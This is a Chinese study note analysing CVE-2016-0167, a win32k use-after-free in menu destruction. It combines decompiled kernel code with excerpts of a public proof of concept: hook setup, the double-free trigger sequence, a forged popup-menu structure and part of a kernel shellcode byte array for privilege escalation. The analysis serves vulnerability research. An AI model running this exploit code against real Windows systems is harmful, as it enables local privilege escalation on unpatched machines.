cve-2016-0167学习笔记

馋奶兔 提交于 2020-02-20 15:07:20

主要参考了leeqwind的博客+个人理解

漏洞原理

CVE-2016-0167发生在win32k!xxxMNDestroyHandler中,漏洞发生的根本原因是win32k!xxxMNDestroyHandler在释放窗口处理消息WM_UNINITMENUPOPUP时可能被回调到用户进程,在用户回调中执行自定义的挂钩函数(hook)时可能会引起窗口对象内存区域的分配或释放。在之后的分析中我们可以看到处理消息的函数win32k!xxxSendMessageTimeout在执行完用户自定义hook之后没有检查相应内存区域的有效性直接执行了一个函数回调spwndNotify->lpfnWndProc,所以漏洞的利用思路可以是利用hook double free掉窗口内存区域,然后重新分配占位窗口内存的spwndNotify->lpfnWndProc成员域来劫持控制流进而提权。

前置知识

1.用户模式回调

传统上,win32子系统是在client-server runtime subsystem (CSRSS)的基础上实现的,客户端的线程都有一个对应的服务端线程存在,他们通过fastLPC通信。后来为了提高性能,微软将大部分服务端的组件转移到了内核模式,这就引入了win32k.sys。

这样做的好处是减少了线程切换的次数和内存需求;但是和以前直接在相同特权级别直接访问代码/数据相比,用户/内核的状态转换慢。为了加快状态转换速度,微软的做法是在用户模式地址空间缓存部分数据结构;为了在内核态访问这些数据结构,需要有一种将控制权交给用户模式的方法,微软用的方法就是用户模式回调。

用户模式回调允许win32k回调到用户模式,并可以执行应用程序自定义的挂钩(hook)、事件通知、从/向用户模式拷贝数据。

2.用户对象的位置

windows中每个句柄的实际位置保存在句柄类型信息表中(win32k!ghati),这个表保存了对象的分配标志、类型、指向销毁例程的指针。当对象的引用锁计数为零时就会调用ghati中对应的销毁例程。

3.win32k的命名约定

为了使开发者对可能回调到用户模式的函数做出相应预防措施,win32k使用了他自己的函数命名约定。函数的前缀xxx或zzz会表明函数以何种方式调用用户模式回调。以xxx前缀命名的函数大部分会调用用户模式回调,以zzz为前缀命名的函数大部分会调用异步或延时的回调。

4.对象锁

windows使用锁来确保内核执行用户模式回调时对象不被改变,锁的类型一般有两种,线程锁和赋值锁。

线程锁通常用于给函数内部的对象或者缓冲区加锁。每一个线程被加锁的项存储在线程锁结构 (win32k! TL)的一个线程锁单链表。线程信息结构(THREADINFO.ptl)会指向该列表。当一个 Win32k 的函数不再需要某个对象或者缓冲区时, 它会调用 ThreadUnlock() 函数将锁项从线程锁列表中移除。

赋值锁用于对用户对象更长时间的加锁。赋值锁的对象是指向被锁对象的指针,在加赋值锁时win32k调用HMAssignmentLock(Address,Object),释放对象赋值锁时调用HMAssignmentUnlock(Address)。

漏洞分析

以下分析关键代码和主要逻辑。win32k!xxxMNDestroyHandler用于销毁菜单窗口的关联弹出菜单tagPOPUPMENU,win32k!xxxMNDestroyHandler首先检查了当前菜单是否包含子菜单,并遍历子菜单发送消息xxxMNCloseHierarchy执行关闭子菜单的任务。

void __stdcall xxxMNDestroyHandler(_tagPOPUPMENU *popupmenu){  _tagWND *v1; // eax  int v2; // ecx  int v3; // eax  _tagWND *spwndNotify; // eax  _DWORD *spmenu; // eax  _tagWND *v6; // eax  _DWORD *v7; // esi  _SINGLE_LIST_ENTRY *v8; // [esp+4h] [ebp-Ch]  _tagWND *v9; // [esp+8h] [ebp-8h]​  if ( popupmenu )  {    if ( popupmenu->spwndNextPopup )    {      v1 = (_tagWND *)popupmenu->spwndPopupMenu;// 判断当前菜单是否存在子菜单      if ( !v1 )                                // 不存在子菜单        v1 = (_tagWND *)popupmenu->spwndNextPopup;// 指向下一个菜单      v8 = gptiCurrent[45].Next;      gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;      v9 = v1;      ++v1->head.cLockObj;      xxxSendMessage(v1, 0x1E4, 0, 0);            // xxxMNCloseHierarchy,关闭子菜单      ThreadUnlock1();                          // 关闭线程锁    }

然后检查fSendUninit标志位,其中fSendUninit是在子弹出菜单初始化时通过xxxTrackPopupMenuEx或 xxxMNOpenHierarchy被默认置位,参数spwndNotify在窗口初始化时作为用户窗口对象的地址,调用时是可控的,这将导致xxxSendMessage在处理WM_UNINITMENUPOPUP消息时有可能被回调到用户进程,漏洞也就是出现在这里。

    if ( popupmenu->_union_1.fIsMenuBar & 0x200000 )// fSendUninit    {      spwndNotify = (_tagWND *)popupmenu->spwndNotify;      if ( spwndNotify )      {        v8 = gptiCurrent[45].Next;        gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;        v9 = spwndNotify;        ++spwndNotify->head.cLockObj;        spmenu = (_DWORD *)popupmenu->spmenu;        if ( spmenu )          spmenu = (_DWORD *)*spmenu;        xxxSendMessage(                         // vul here          (_tagWND *)popupmenu->spwndNotify,          0x125,                                 // WM_UNINITMENUPOPUP          (WCHAR)spmenu,          (void *)((unsigned __int16)((((unsigned int)popupmenu->_union_1.fIsMenuBar >> 2) & 1) << 13) << 16));        ThreadUnlock1();      }    }

win32k!xxxSendMessage中主要是给线程临界区加锁,然后执行了xxxSendMessageTimeout。xxxSendMessageTimeout中执行了一个自定义的钩子函数,然后判断接收信息窗口spwndNotify的标志位没有检查相应内存区域的有效性直接执行了一个回调函数spwndNotify->lpfnWndProc。

   if ( gptiCurrent == (PSINGLE_LIST_ENTRY)spwndNotify->head.pti )    {      if ( (LOBYTE(gptiCurrent[75].Next) | LOBYTE(gptiCurrent[51].Next[3].Next)) & 0x20 )      {        v22 = spwndNotify->head.h__;        v20 = UnicodeString;        v19 = Src;        v21 = v12;        v23 = 0;        xxxCallHook(0, 0, (int)&v19, 4);        // 执行回调      }      if ( spwndNotify->_union_2.state & 0x40000 )      {        IoGetStackLimits(&LowLimit, &HighLimit);        if ( (unsigned int)&HighLimit - LowLimit < 0x1000 )          return 0;        result = (_SINGLE_LIST_ENTRY *)((int (__stdcall *)(_tagWND *, int, _DWORD, void *))spwndNotify->lpfnWndProc)(// 未检查相应内存区域有效性直接访问                                         spwndNotify,                                         v12,                                         UnicodeString,                                         Src);        if ( !pMbString )          return result;        *(_DWORD *)pMbString = result;      }        else      {        xxxSendMessageToClient(spwndNotify, v12, UnicodeString, Src, 0, 0, (int)&HighLimit);

win32k!xxxMNDestroyHandler最后判断了fDelayedFree标志位,只有当fDelayedFree标志位为空时才会马上执行MNFreePopup,否则只清除fDelayedFree标志位。

    if ( popupmenu->_union_1.fHasMenuBar & 0x10000 )// fDelayedFree    {      v7 = (_DWORD *)popupmenu->ppopupmenuRoot;      if ( v7 )        *v7 |= 0x20000u;                        // 清除fDelayedFree标志位    }    else    {      MNFreePopup(popupmenu);    }

MNFreePopup首先判断当前要释放的弹出菜单是否为根菜单,若是则执行MNFlushDestroyedPopups进行释放。接着清除窗口对象成员域的赋值锁,最后释放掉窗口对象。

void __stdcall MNFreePopup(_tagPOPUPMENU *P){  int v1; // eax​  if ( P == (_tagPOPUPMENU *)P->ppopupmenuRoot )// 要释放的是当前根菜单    MNFlushDestroyedPopups((#162 *)P, 1);  v1 = P->spwndPopupMenu;  if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != (_tagPOPUPMENU *)&gpopupMenu )    *(_DWORD *)(v1 + 176) = 0;  HMAssignmentUnlock(&P->spwndPopupMenu);       // 清除赋值锁                                                // 减小锁计数对象,锁计数为1时调用     HMUnlockObjectInternal销毁对象  HMAssignmentUnlock(&P->spwndNextPopup);  HMAssignmentUnlock(&P->spwndPrevPopup);  UnlockPopupMenu((int)P, &P->spmenu);  UnlockPopupMenu((int)P, &P->spmenuAlternate);  HMAssignmentUnlock(&P->spwndNotify);  HMAssignmentUnlock(&P->spwndActivePopup);  if ( P == (_tagPOPUPMENU *)&gpopupMenu )    gdwPUDFlags &= 0xFF7FFFFF;  else    ExFreePoolWithTag(P, 0);                    // 释放对象}

其中MNFlushDestroyedPopups遍历并根据链表中每个对象的fDestroyed标志位调用MNFreePopup对对象进行释放。

  for ( result = (_tagPOPUPMENU **)((char *)a1 + 36); *result; result = (_tagPOPUPMENU **)((char *)v2 + 36) )  {    v4 = *result;    if ( (*result)->_union_1.fIsMenuBar & 0x8000 )// fDestroyed    {      v5 = *result;      *result = (_tagPOPUPMENU *)v4->ppmDelayedFree;      MNFreePopup(v5);    }    else if ( a2 )    {      v4->_union_1.fIsMenuBar &= 0xFFFEFFFF;      *result = (_tagPOPUPMENU *)(*result)->ppmDelayedFree;    }    else    {      v2 = (#162 *)*result;    }

HMAssignmentUnlock清除赋值锁的过程首先减小了对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象。销毁时调用win32k!ghati对应表项的销毁例程,并最终调用xxxDestroyWindow对窗口对象进行释放。

3: kd> r​eax=ff911020 ebx=fd4425e8 ecx=0000000c edx=00000201 esi=fd4425e8 edi=924df600​eip=9238e301 esp=90519ac4 ebp=90519ac8 iopl=0     nv up ei pl nz na pe nc​cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000       efl=00000206​win32k!HMDestroyUnlockedObject+0x15:​9238e301 ff9118294b92  call  dword ptr win32k!gahti (924b2918)[ecx] ds:0023:924b2924={win32k!xxxDestroyWindow (92345c1f)}

漏洞利用

这里只根据leeqwind师傅的poc分析下漏洞的利用思路,poc地址https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp

漏洞利用的过程就是一个uaf的利用过程,只不过内核的消息处理机制比较复杂,漏洞触发流程也比较复杂。总体思路是win32k!xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息执行自定义hook函数时对窗口对象double free,double free可以在hook中通过发送MN_CANCELMENUS消息并在处理消息进入xxxMNDestroyHandler中处理WM_UNINITMENUPOPUP消息时调用DestroyWindow来实现;重新置位内存的过程可以通过发送一个WM_NCCREATE消息重新申请内存并对double free的内存spwndNotify->lpfnWndProc成员域覆盖成shellcode的地址,由于xxxSendMessageTimeout没有检查内存spwndNotify->lpfnWndProc成员域的合法性直接访问了,这样就会劫持控制流执行shellcode。

首先设置WH_CALLWNDPROC类型的自定义hook函数,并设置事件通知范围为EVENT_SYSTEM_MENUPOPUPSTART,即菜单开始弹出的事件通知。然后通过调用TrackPopupMenuEx使第一个菜单作为根菜单显示,并进入消息循环状态。

    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,        GetModuleHandleA(NULL),        GetCurrentThreadId());​    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,        GetModuleHandleA(NULL),        xxWindowEventProc,        GetCurrentProcessId(),        GetCurrentThreadId(),        0);​    TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);        MSG msg = { 0 };    while (GetMessageW(&msg, NULL, 0, 0))    {        TranslateMessage(&msg);        DispatchMessageW(&msg);    }

调用TrackPopupMenuEx显示菜单时会触发EVENT_SYSTEM_MENUPOPUPSTART事件通知,由于我们自定义了EVENT_SYSTEM_MENUPOPUPSTART通知的事件通知处理函数xxWindowEventProc,xxxWindowEvent在处理该通知时会进入我们自定义的xxWindowEventProc函数中,而在我们自定义的事件通知处理函数xxWindowEventProc中主要发送了三个消息

    SendMessageW(hwnd, MN_SELECTITEM, 0, 0);    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);

在处理分发MN_OPENHIERARCHY消息时会调用xxxCreateWindowEx创建新的菜单窗口,在xxxCreateWindowEx中会调用xxxSendMessage发送WM_NCCREATE的消息,并最终调用xxxSendMessageTimeout执行xxxCallHook进入我们自定义的hook函数xxWindowHookProc中。而在xxWindowHookProc中主要是判断并根据消息的类型进入DestroyWindow或者发送MN_CANCELMENUS消息进入xxxMNCancel的流程。其中WM_UNINITMENUPOPUP消息表明这时处于第一次调用xxxMNDestroyHandler期间,这时调用DestroyWindow销毁窗口即可;WM_NCCREATE消息表明是显示完根菜单并进入事件通知处理函数xxWindowEventProc期间,这时需要发送MN_CANCELMENUS消息并进入xxxMNCancel的流程对目标窗口进行double free,xxxMNCancel会调用xxxDestroyWindow并最终调用xxxMNDestroyHandler对窗口对象进行释放。

    if (cwp->message == WM_UNINITMENUPOPUP &&        bEnterUninit == FALSE &&        hMenuList[1] == (HMENU)cwp->wParam)    {        DestroyWindow(hwndMenuDest);    }    else if (cwp->message == WM_NCCREATE &&        hwndMenuDest == NULL &&        hwndMenuList[0] && !hwndMenuList[1])    {        hwndMenuDest = cwp->hwnd;        SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);        PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);    }

这里需要注意的一点是如何使目标窗口fDelayedFree标志位置0进而在xxxMNDestroyHandler中直接进入MNFreePopup的流程。首先需要明确的一点是在自定义hook中调用SendMessageW发送MN_CANCELMENUS消息时,由于此时是处于消息队列处理分发WM_NCCREATE消息期间,MN_CANCELMENUS消息的处理要早于WM_NCCREATE消息,因此WM_NCCREATE要创建的子消息窗口此时并未创建成功,处理MN_CANCELMENUS消息也不会销毁任何子弹出菜单,这样子弹出菜单的fDestroyed标志位就不会被置位。

同时,在自定义hook中处理MN_CANCELMENUS消息调用xxxMNCancel销毁根菜单时,由于根菜单是被正常创建的,fDelayed标志位是置位的,xxxMNDestroyHandler不会进入MNFreePopup的流程,最终调用xxxMNEndMenuState来清理菜单结构体。

在SendMessage发送MN_CANCELMENUS消息返回后,我们异步的调用PostMessage发送自定义的消息WM_EX_TRIGGER。这时系统并不会马上执行对异步消息的处理,对WM_EX_TRIGGER消息的处理最终在窗口关联对象的消息循环xxxMNLoop中执行。

接下来内核继续进行处理WM_NCCREATE消息完成创建子菜单的操作,然后再进入xxxMNLoop消息循环中处理MN_CANCELMENUS消息。在消息循环中会判断若fDestroyed置位,则需要终止菜单,这时会跳出消息循环调用xxxEndMenuLoop终止菜单返回到xxxTrackPopupMenuEx中,xxxTrackPopupMenuEx会调用xxxMNEndMenuState来最终执行菜单终止的任务。xxxMNEndMenuState会调用MNFreePopup进而调用MNFlushDestroyedPopups来释放链表中fDestroyed未置位的对象,而上边的分析中我们已经得出子弹出菜单的fDestroyed不会被置位,因此子菜单不会被释放,且fDelayedFree标志位会被MNFlushDestroyedPopups置零。

void __stdcall xxxMNEndMenuState(int a1){  PSINGLE_LIST_ENTRY v1; // edi  _SINGLE_LIST_ENTRY *v2; // esi  _SINGLE_LIST_ENTRY *v3; // eax​  v1 = gptiCurrent;  v2 = gptiCurrent[65].Next;  if ( !v2[7].Next )  {    MNEndMenuStateNotify(gptiCurrent[65].Next);    if ( v2->Next )    {      if ( a1 )        MNFreePopup((_tagPOPUPMENU *)v2->Next);      else        v2->Next->Next = (_SINGLE_LIST_ENTRY *)((_DWORD)v2->Next->Next & 0xFFFEFFFF);    }

这时系统会进行hook函数中自定义的消息WM_EX_TRIGGER的处理,进而进入自定义的消息处理函数xxMainWindowProc中。

staticLRESULTWINAPIxxMainWindowProc(    _In_ HWND   hwnd,    _In_ UINT   msg,    _In_ WPARAM wParam,    _In_ LPARAM lParam){    if (msg == WM_EX_TRIGGER)    {        DWORD_PTR popupMenuDest = 0;        popupMenuDest = *(DWORD_PTR*)((PBYTE)xxHMValidateHandle(hwndMenuDest) + 0xb0);        DestroyWindow(hwndMenuDest);        LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuDest, 0);    }    return DefWindowProcW(hwnd, msg, wParam, lParam);}

xxMainWindowProc调用DestroyWindow并最终调用xxxMNDestroyHandler销毁目标窗口,xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息时会将关联窗口对象句柄作为参数传入,这将命中xxWindowHookProc中处理消息为WM_UNINITMENUPOPUP且spmenu为cwp->wParam的条件执行DestroyWindow(hwndMenuDest),这会导致针对相同hwndMenuDest对象第二次执行xxxMNDestroyHandler,第二次执行xxxMNDestroyHandler时会执行同样的流程但是由于自定义的标志位bEnterUninit已经改变,所以不会第三次执行DestroyWindow。

    if (cwp->message == WM_UNINITMENUPOPUP &&        bEnterUninit == FALSE &&        hMenuList[1] == (HMENU)cwp->wParam)    {        bEnterUninit = TRUE;        DestroyWindow(hwndMenuDest);        DWORD dwPopupFake[0xD] = { 0 };        dwPopupFake[0x0] = (DWORD)0x00088208;  //->flags        dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify        dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu        dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup        dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup        dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu        dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate        dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup        dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot        dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree        dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem        dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped        dwPopupFake[0xC] = (DWORD)0;        for (UINT i = 0; i < iWindowCount; ++i)        {            SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);        }    }

由于此时子弹出菜单fDelayedFree标志位未被置位,将会马上执行MNFreePopop释放掉。(若此时只进行DestroyWindow没有之后的伪造会返回到第一次xxxMNCancel最终调用xxxMNDestroyHandler时会执行相同的操作进而构成double free。)而在实际poc中对xxTrackExploitEx中批量创建的hWindowList[]窗口对象的GCL_MENUNAME进行了伪造。执行完DestroyWindow返回到xxMainWindowProc中继续执行调用SendMessageW发送一个消息0x9F9F并最终触发提权操作。

    0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh    0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128    // Loader+0x109b:    // Judge if CS is 0x1b, which means in user-mode context.    0x66, 0x8c, 0xc8,                   // mov     ax,cs    0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh    0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je      Loader+0x1128    // Loader+0x10a8:    // Get the address of pwndWindowHunt to ECX.    // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.    // Get the address of pvShellCode to EDX by CALL-POP.    // Get the address of pvShellCode->tagCLS[0x100] to ESI.    // Get the address of popupMenuDest to EDI.    0xfc,                               // cld    0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]    0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]    0x60,                               // pushad    0xe8, 0x00, 0x00, 0x00, 0x00,       // call    $5
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!